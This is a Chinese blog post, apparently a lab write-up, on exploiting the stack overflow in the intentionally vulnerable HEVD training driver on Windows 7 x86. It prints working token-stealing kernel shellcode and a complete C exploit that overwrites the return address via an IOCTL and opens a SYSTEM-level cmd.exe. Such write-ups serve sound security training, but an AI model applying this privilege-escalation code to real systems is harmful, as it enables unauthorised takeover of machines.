Windows内核(HEVD) 之栈溢出

最近一直再看那玩意  甚至比赛都没有时间准备了  接下来的好多线下赛  都有点慌 好久没有接触CTF题目

不过这个太坑了,,,,  我一开始下载后 直接用的就是源代码编译

 然后一直有坑, ,  搞了两天才意思到 要编译成 Release 唉,,, 

HEVD的推荐编译环境是 vs2015  我这里是vs2013 

也可以到他们github 直接下载 成品

虚拟机的话 是 win7 x86 sp1

这里是 HEVD的链接 https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

然后会发现, 这里给出了 源码 已经 exp的源码 。

然后在这里先来讲一下shellcode

提权基础 。在这里讲的是 win7 x86 sp1  windows10出了很多的保护机制  让人很苦恼

然后  大家可能会有这样的情况 当安装一个软件的时候 可能会要问你是否安装   运行一个 权限高的软件  都会弹出一个对话框

这说明 普通程序的 权限 基本都很低  但是有一些系统进程的有着系统权限

比如

system

然后进程都有一个类似令牌的东西,

这个东西 就是看进程有没有这个权限    那么 这个是在地址偏移 f8的地方

我们打开一个cmd 来看一下

然后 把这个令牌的地址改一下  把 系统的给 cmd  然后看一下效果

发现成功了  。

那么 这个东西就可以用shellcode 来表示

	__asm {
		pushad; Save registers state

			; Start of Token Stealing Stub
			xor eax, eax; Set ZERO
			mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
			; _KTHREAD is located at FS : [0x124]

			mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

			mov ecx, eax; Copy current process _EPROCESS structure

			mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; Restore registers state

			; Kernel Recovery Stub
			xor eax, eax; Set NTSTATUS SUCCEESS
			add esp, 12; Fix the stack
			pop ebp; Restore saved EBP
			ret 8; Return cleanly
	}

要注意一点的就是 这个pop ebp  我分析了一下

debug模式之所以不行 就是因为ebp没有恢复    嗯  还有就是栈的大小不一样了 ,。

然后 我们来具体分析一下  这个东西

我们用ida 看一下关键函数

这里就可以看出 栈的大小,,

然后我们继续 看  用github上的exp 直接来调试

而这里的 ebp的值 就是

(这里因为要去上学 所以 值不太对 但是最后三位是不会变得 也就是 afc)

在程序一开始的时候 看一下ebp  因为到时候我们要把这个ebp给 恢复 要不然就堆栈不平衡  蓝屏或重启

因为这里本来 要把ebp的值 取出来 然后 此时ebp的值已经被我们覆盖成 0x41414141

然后 继续往下走

可以 看到 ebp 已经被覆盖 并且  返回地址 被 覆盖成我们shellcode 的地址,

执行完 shellcode  然后我们把 令牌给完之后 就开始恢复ebp

然后就ok了  把ebp 恢复到上一层函数的地方 就ok

下面是 exp

#include "stdio.h"
#include "windows.h"
#include "ntapi.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "ntapi.h"
#include <tchar.h>
VOID TokenStealingPayloadWin7() {
	// Importance of Kernel Recovery
	__asm {
		pushad; Save registers state

			; Start of Token Stealing Stub
			xor eax, eax; Set ZERO
			mov eax, fs:[eax + 124h]; Get nt!_KPCR.PcrbData.CurrentThread
			; _KTHREAD is located at FS : [0x124]

			mov eax, [eax + 050h]; Get nt!_KTHREAD.ApcState.Process

			mov ecx, eax; Copy current process _EPROCESS structure

			mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + 0b8h]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0b8h
			cmp[eax + 0b4h], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + 0f8h]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + 0f8h], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; Restore registers state

			; Kernel Recovery Stub
			xor eax, eax; Set NTSTATUS SUCCEESS
			add esp, 12; Fix the stack
			pop ebp; Restore saved EBP
			ret 8; Return cleanly
	}
}

static VOID Cmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
	char buffer[0x824];
	HANDLE hDevice;
	DWORD bReturn = 0;
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL
		);

	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		printf("Failed to get handle...!\n");
		return 0;
	}

	memset(buffer, 'A', 0x824);
	*(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;

	
	DeviceIoControl(hDevice, 0x222003, buffer, 0x824, NULL, 0, &bReturn, NULL);
	printf("gogogo_pipixia");
	Cmd();
	return 0;
}

参考链接

https://bbs.pediy.com/thread-252310.htm

https://bbs.pediy.com/thread-247019.htm

https://bbs.pediy.com/thread-252775.htm

发布了313 篇原创文章 · 获赞 44 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/100551178